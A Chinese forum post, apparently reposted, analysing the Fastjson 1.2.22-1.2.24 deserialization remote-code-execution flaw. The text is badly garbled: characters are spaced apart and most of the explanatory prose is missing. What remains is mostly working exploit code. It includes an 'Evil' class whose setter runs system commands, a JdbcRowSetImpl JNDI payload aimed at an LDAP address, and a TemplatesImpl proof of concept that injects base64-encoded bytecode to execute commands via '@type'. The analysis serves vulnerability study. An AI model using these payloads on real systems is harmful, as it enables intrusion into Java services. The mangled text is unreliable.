[1094] 2020-05-17_Fastjson反序列化RCE分析

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2020-05-17_Fastjson反序列化RCE分析 F a s t j s o n   R C E Y 4 e r   C h a B u g   2 0 2 0 - 0 5 - 1 7 f a s t j s o n j s o n R C E f a s t j s o n R C E f a s t j s o n 使 U s e r 使 f a s t j s o n < d e p e n d e n c y >         < g r o u p I d > c o m . a l i b a b a < / g r o u p I d >         < a r t i f a c t I d > f a s t j s o n < / a r t i f a c t I d >         < v e r s i o n > 1 . 2 . 2 4 < / v e r s i o n > < / d e p e n d e n c y > p a c k a g e   o r g . c h a b u g . f a s t j s o n . m o d e l ; p u b l i c   c l a s s   U s e r   {         p r i v a t e   i n t   i d ;         p r i v a t e   i n t   a g e ;         p r i v a t e   S t r i n g   n a m e ;         @ O v e r r i d e         p u b l i c   S t r i n g   t o S t r i n g ( )   {                 r e t u r n   " U s e r { "   +                         " i d = "   +   i d   +                         " ,   a g e = "   +   a g e   +                         " ,   n a m e = ' "   +   n a m e   +   ' ' '   +                         ' } ' ;         }         p u b l i c   i n t   g e t I d ( )   {                 r e t u r n   i d ;         }         p u b l i c   v o i d   s e t I d ( i n t   i d )   {                 t h i s . i d   =   i d ;         }         p u b l i c   i n t   g e t A g e ( )   {                 r e t u r n   a g e ;         }         p u b l i c   v o i d   s e t A g e ( i n t   a g e )   {                 t h i s . a g e   =   a g e ;         }         p u b l i c   S t r i n g   g e t N a m e ( )   {                 r e t u r n   n a m e ;         }         p u b l i c   v o i d   s e t N a m e ( S t r i n g   n a m e )   {                 t h i s . n a m e   =   n a m e ;         } } p a c k a g e   o r g . c h a b u g . f a s t j s o n . r u n ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N O b j e c t ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . s e r i a l i z e r . S e r i a l i z e r F e a t u r e ; i m p o r t   o r g . c h a b u g . f a s t j s o n . m o d e l . U s e r ; i m p o r t   j a v a . u t i l . H a s h M a p ; i m p o r t   j a v a . u t i l . M a p ; p u b l i c   c l a s s   J S O N T e s t   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 M a p < S t r i n g ,   O b j e c t >   m a p   =   n e w   H a s h M a p < S t r i n g ,   O b j e c t > ( ) ;
f a s t j s o n ( ) 使 ( ) 使 ( U s e r ) c l a s s                 M a p < S t r i n g ,   O b j e c t >   m a p   =   n e w   H a s h M a p < S t r i n g ,   O b j e c t > ( ) ;                 m a p . p u t ( " k e y 1 " ,   " O n e " ) ;                 m a p . p u t ( " k e y 2 " ,   " T w o " ) ;                 S t r i n g   m a p J s o n   =   J S O N . t o J S O N S t r i n g ( m a p ) ;                 S y s t e m . o u t . p r i n t l n ( m a p J s o n ) ;                 S y s t e m . o u t . p r i n t l n ( " - - - - - - - - - - - - - - - - - - - - - - - - - - " ) ;                 U s e r   u s e r   =   n e w   U s e r ( ) ;                 u s e r . s e t I d ( 1 ) ;                 u s e r . s e t A g e ( 1 7 ) ;                 u s e r . s e t N a m e ( " " ) ;                 / /                   S t r i n g   s 1   =   J S O N . t o J S O N S t r i n g ( u s e r ) ;                 S t r i n g   s 2   =   J S O N . t o J S O N S t r i n g ( u s e r ,   S e r i a l i z e r F e a t u r e . W r i t e C l a s s N a m e ) ;                 S y s t e m . o u t . p r i n t l n ( s 1 ) ;                 S y s t e m . o u t . p r i n t l n ( s 2 ) ;                 S y s t e m . o u t . p r i n t l n ( " - - - - - - - - - - - - - - - - - - - - - - - - - - " ) ;                 / /                   U s e r   o 1   =   ( U s e r )   J S O N . p a r s e ( s 2 ) ;                 S y s t e m . o u t . p r i n t l n ( " o 1 : " + o 1 ) ;                 S y s t e m . o u t . p r i n t l n ( o 1 . g e t C l a s s ( ) . g e t N a m e ( ) ) ;                 J S O N O b j e c t   o 2   =   J S O N . p a r s e O b j e c t ( s 2 ) ;                 S y s t e m . o u t . p r i n t l n ( " o 2 : " + o 2 ) ;                 S y s t e m . o u t . p r i n t l n ( o 2 . g e t C l a s s ( ) . g e t N a m e ( ) ) ;                 O b j e c t   o 3   =   J S O N . p a r s e O b j e c t ( s 2 ,   O b j e c t . c l a s s ) ;                 S y s t e m . o u t . p r i n t l n ( " o 3 : " + o 3 ) ;                 S y s t e m . o u t . p r i n t l n ( o 3 . g e t C l a s s ( ) . g e t N a m e ( ) ) ;         } } { " k e y 1 " : " O n e " , " k e y 2 " : " T w o " } - - - - - - - - - - - - - - - - - - - - - - - - - - { " a g e " : 1 7 , " i d " : 1 , " n a m e " : " " } { " @ t y p e " : " o r g . c h a b u g . f a s t j s o n . m o d e l . U s e r " , " a g e " : 1 7 , " i d " : 1 , " n a m e " : " " } - - - - - - - - - - - - - - - - - - - - - - - - - - o 1 : U s e r { i d = 1 ,   a g e = 1 7 ,   n a m e = ' ' } o r g . c h a b u g . f a s t j s o n . m o d e l . U s e r o 2 : { " n a m e " : " " , " i d " : 1 , " a g e " : 1 7 } c o m . a l i b a b a . f a s t j s o n . J S O N O b j e c t o 3 : U s e r { i d = 1 ,   a g e = 1 7 ,   n a m e = ' ' } o r g . c h a b u g . f a s t j s o n . m o d e l . U s e r J S O N . t o J S O N S t r i n g ( ) S e r i a l i z e r F e a t u r e . W r i t e C l a s s N a m e @ t y p e @ t y p e s e t g e t @ t y p e J S O N . p a r s e ( ) J S O N . p a r s e O b j e c t ( ) p a r s e ( ) p a r s e O b j e c t ( ) J S O N O b j e c t
c l a s s ( U s e r ) E v i l s e t s p r i n g b o o t w e b J S O N O b j e c t J S O N . p a r s e O b j e c t ( s 2 ) J S O N . p a r s e O b j e c t ( s 2 ,   O b j e c t . c l a s s ) U s e r . c l a s s @ t y p e p a c k a g e   o r g . c h a b u g . f a s t j s o n . m o d e l ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; p u b l i c   c l a s s   E v i l   {         p r i v a t e   S t r i n g   c m d ;         p u b l i c   S t r i n g   g e t C m d ( )   {                 S y s t e m . o u t . p r i n t l n ( " g e t C m d ( ) " ) ;                 r e t u r n   c m d ;         }         p u b l i c   v o i d   s e t C m d ( S t r i n g   c m d )   {                 S y s t e m . o u t . p r i n t l n ( " s e t C m d ( ) " ) ;                 t h i s . c m d   =   c m d ;                 t r y   {                         R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) ;                 }   c a t c h   ( I O E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         }         p u b l i c   E v i l ( )   {                 S y s t e m . o u t . p r i n t l n ( " E v i l ( ) " ) ;         } }
E v i l R C E 使 s e t t e r g e t t e r i s E v i l t e s t g e t s e t s e t 使 p a r s e g e t @ t y p e @ t y p e s e t C m d p a r s e O b j e c t ( e v i l ) p a r s e O b j e c t ( e v i l ) J S O N O b j e c t ( J S O N O b j e c t ) t o J S O N ( o b j ) g e t C m d : 1 1 ,   E v i l   ( o r g . c h a b u g . f a s t j s o n . m o d e l ) i n v o k e 0 : - 1 ,   N a t i v e M e t h o d A c c e s s o r I m p l   ( s u n . r e f l e c t )
g e t t e r h a s h m a p s e t t e r m e t h o d s m e t h o d s g e t s e t s e t 1 .   4 2 .   3 .   v o i d 4 .   s e t 5 .   1 i n v o k e 0 : - 1 ,   N a t i v e M e t h o d A c c e s s o r I m p l   ( s u n . r e f l e c t ) i n v o k e : 6 2 ,   N a t i v e M e t h o d A c c e s s o r I m p l   ( s u n . r e f l e c t ) i n v o k e : 4 3 ,   D e l e g a t i n g M e t h o d A c c e s s o r I m p l   ( s u n . r e f l e c t ) i n v o k e : 4 9 8 ,   M e t h o d   ( j a v a . l a n g . r e f l e c t ) g e t : 4 5 1 ,   F i e l d I n f o   ( c o m . a l i b a b a . f a s t j s o n . u t i l ) g e t P r o p e r t y V a l u e : 1 0 5 ,   F i e l d S e r i a l i z e r   ( c o m . a l i b a b a . f a s t j s o n . s e r i a l i z e r ) g e t F i e l d V a l u e s M a p : 4 3 9 ,   J a v a B e a n S e r i a l i z e r   ( c o m . a l i b a b a . f a s t j s o n . s e r i a l i z e r ) t o J S O N : 9 0 2 ,   J S O N   ( c o m . a l i b a b a . f a s t j s o n ) t o J S O N : 8 2 4 ,   J S O N   ( c o m . a l i b a b a . f a s t j s o n ) p a r s e O b j e c t : 2 0 6 ,   J S O N   ( c o m . a l i b a b a . f a s t j s o n ) m a i n : 1 3 ,   T e s t   ( o r g . c h a b u g . f a s t j s o n . r u n ) c o m . a l i b a b a . f a s t j s o n . u t i l . J a v a B e a n I n f o # b u i l d @ t y p e _ s e t _ n a m e n a m e
p r o p e r t y N a m e p u b l i c   b o o l e a n   s e t B o y ( b o o l e a n   t )   s e t s e t C m d ( ) c m d c m d i s C m d g e t 1 .   4 2 .   3 .   g e t 4 4 .   5 .   C o l l e c t i o n   M a p   A t o m i c B o o l e a n   A t o m i c I n t e g e r   A t o m i c L o n g j s o n s e t t e r 1 .   p a r s e ( j s o n S t r )   + J s o n s e t t e r ( ) + g e t t e r ( ) 2 .   p a r s e O b j e c t ( j s o n S t r )   + J s o n s e t t e r ( ) + g e t t e r ( )   g e t t e r ( ) 3 .   p a r s e O b j e c t ( j s o n S t r , O b j e c t . c l a s s )   + J s o n s e t t e r ( ) + g e t t e r ( ) f a s t j s o n f a s t j s o n =   = 1 . 2 . 2 2 - 1 . 2 . 2 4 f a s t j s o n 1 . 2 . 2 2 - 1 . 2 . 2 4 1 .   J N D I   2 .   J D K 7 u 2 1   J N D I J N D I 使 i s i s B o y c o m . s u n . r o w s e t . J d b c R o w S e t I m p l c o m . s u n . o r g . a p a c h e . x a l a n . i n t e r n a l . x s l t c . t r a x . T e m p l a t e s I m p l J S O N . p a r s e ( e v i l ) ; J S O N . p a r s e O b j e c t ( e v i l ) ; J S O N . p a r s e O b j e c t ( e v i l ,   O b j e c t . c l a s s ) ;
s e t t e r s e t D a t a S o u r c e N a m e ( ) s e t A u t o C o m m i t ( ) s e t t e r j s o n s e t t e r j n d i p a y l o a d T e m p l a t e s I m p l 1 .   使 p a r s e O b j e c t ( ) 使 2 .   使 p a r s e ( ) p o c p a c k a g e   o r g . c h a b u g . f a s t j s o n . r u n ; i m p o r t   c o m . s u n . r o w s e t . J d b c R o w S e t I m p l ; i m p o r t   j a v a . s q l . S Q L E x c e p t i o n ; p u b l i c   c l a s s   T e s t   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 J d b c R o w S e t I m p l   j d b c R o w S e t   =   n e w   J d b c R o w S e t I m p l ( ) ;                 t r y   {                         j d b c R o w S e t . s e t D a t a S o u r c e N a m e ( " l d a p : / / l o c a l h o s t : 1 3 8 9 / # C a l c " ) ;                         j d b c R o w S e t . s e t A u t o C o m m i t ( t r u e ) ;                 }   c a t c h   ( S Q L E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } } { " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " , " d a t a S o u r c e N a m e " : " l d a p : / / l o c a l h o s t : 1 3 8 9 / # C a l c " ,   " a u t o C o m m i t " : t r u e } J S O N . p a r s e O b j e c t ( i n p u t ,   O b j e c t . c l a s s ,   F e a t u r e . S u p p o r t N o n P u b l i c F i e l d ) J S O N . p a r s e ( t e x t 1 , F e a t u r e . S u p p o r t N o n P u b l i c F i e l d ) p a c k a g e   o r g . c h a b u g . f a s t j s o n . r u n ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . F e a t u r e ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . P a r s e r C o n f i g ;
p o c 1 .   2 .   b a s e 6 4 { } 1 f a s t j s o n p r i v a t e 使 p r i v a t e i m p o r t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . P a r s e r C o n f i g ; i m p o r t   c o m . s u n . o r g . a p a c h e . x a l a n . i n t e r n a l . x s l t c . r u n t i m e . A b s t r a c t T r a n s l e t ; i m p o r t   j a v a s s i s t . C l a s s P o o l ; i m p o r t   j a v a s s i s t . C t C l a s s ; i m p o r t   o r g . a p a c h e . t o m c a t . u t i l . c o d e c . b i n a r y . B a s e 6 4 ; p u b l i c   c l a s s   J D K 7 u 2 1   {         / /   h t t p s : / / y 4 e r . c o m / p o s t / y s o s e r i a l - c o m m o n s c o l l e c t i o n s - 2 /         p u b l i c   s t a t i c   b y t e [ ]   g e t e v i l b y t e ( )   t h r o w s   E x c e p t i o n   {                 C l a s s P o o l   p o o l   =   C l a s s P o o l . g e t D e f a u l t ( ) ;                 C t C l a s s   c c   =   p o o l . g e t ( t e s t . c l a s s . g e t N a m e ( ) ) ;                 S t r i n g   c m d   =   " j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c a l c " ) ; " ;                 c c . m a k e C l a s s I n i t i a l i z e r ( ) . i n s e r t B e f o r e ( c m d ) ;                 S t r i n g   r a n d o m C l a s s N a m e   =   " Y 4 e r "   +   S y s t e m . n a n o T i m e ( ) ;                 c c . s e t N a m e ( r a n d o m C l a s s N a m e ) ;                 c c . s e t S u p e r c l a s s ( ( p o o l . g e t ( A b s t r a c t T r a n s l e t . c l a s s . g e t N a m e ( ) ) ) ) ;                 r e t u r n   c c . t o B y t e c o d e ( ) ;         }         / / m a i n p o c         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g   a r g s [ ] )   {                 t r y   {                         b y t e [ ]   e v i l C o d e   =   g e t e v i l b y t e ( ) ;                         S t r i n g   e v i l C o d e _ b a s e 6 4   =   B a s e 6 4 . e n c o d e B a s e 6 4 S t r i n g ( e v i l C o d e ) ;                         f i n a l   S t r i n g   N A S T Y _ C L A S S   =   " c o m . s u n . o r g . a p a c h e . x a l a n . i n t e r n a l . x s l t c . t r a x . T e m p l a t e s I m p l " ;                         S t r i n g   t e x t 1   =   " { " @ t y p e " : " "   +   N A S T Y _ C L A S S   +   " " , " _ b y t e c o d e s " : [ " "   +   e v i l C o d e _ b a s e 6 4   +   " " ] , ' _ n a m e ' : ' a s d ' , ' _ t f a c t o r y ' : {   } , " _ o u t p u t P r o p e r t i e s " : {   } , "   +   " " _ v e r s i o n " : " 1 . 0 " , " a l l o w e d P r o t o c o l s " : " a l l " } n "                         S y s t e m . o u t . p r i n t l n ( t e x t 1 ) ;                         P a r s e r C o n f i g   c o n f i g   =   n e w   P a r s e r C o n f i g ( ) ;                         O b j e c t   o b j   =   J S O N . p a r s e O b j e c t ( t e x t 1 ,   O b j e c t . c l a s s ,   c o n f i g ,   F e a t u r e . S u p p o r t N o n P u b l i c F i e l d ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         }         p u b l i c   s t a t i c   c l a s s   t e s t   {         } } p a r s e O b j e c t F e a t u r e . S u p p o r t N o n P u b l i c F i e l d _ o u t p u t P r o p e r t i e s 3 .   _ b y t e c o d e s 4 .   _ t f a c t o r y F e a t u r e . S u p p o r t N o n P u b l i c F i e l d T e m p l a t e s I m p l F e a t u r e . S u p p o r t N o n P u b l i c F i e l d
2 g e t O u t p u t P r o p e r t i e s ( ) _ o u t p u t P r o p e r t i e s g e t t e r g e t O u t p u t P r o p e r t i e s ( ) f a s t j s o n i s g e t t e r s e t t e r _ o u t p u t P r o p e r t i e s g e t O u t p u t P r o p e r t i e s ( ) p u b l i c o u t p u t P r o p e r t i e s _ _ c o m . a l i b a b a . f a s t j s o n . p a r s e r . d e s e r i a l i z e r . J a v a B e a n D e s e r i a l i z e r # p a r s e F i e l d t h i s . s m a r t M a t c h ( ) - _
P r o p e r t i e s - > - > R C E 3 b a s e 6 4 b y t e [ ] b a s e 6 4 4 _ t f a c t o r y { } g e t O u t p u t P r o p e r t i e s ( ) g e t O u t p u t P r o p e r t i e s ( ) n e w T r a n s f o r m e r ( ) g e t T r a n s l e t I n s t a n c e ( ) n e w I n s t a n c e ( ) _ b y t e c o d e s f a s t j s o n - 1 . 2 . 2 3 . j a r ! / c o m / a l i b a b a / f a s t j s o n / p a r s e r / d e s e r i a l i z e r / J a v a B e a n D e s e r i a l i z e r . c l a s s : 5 7 9
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则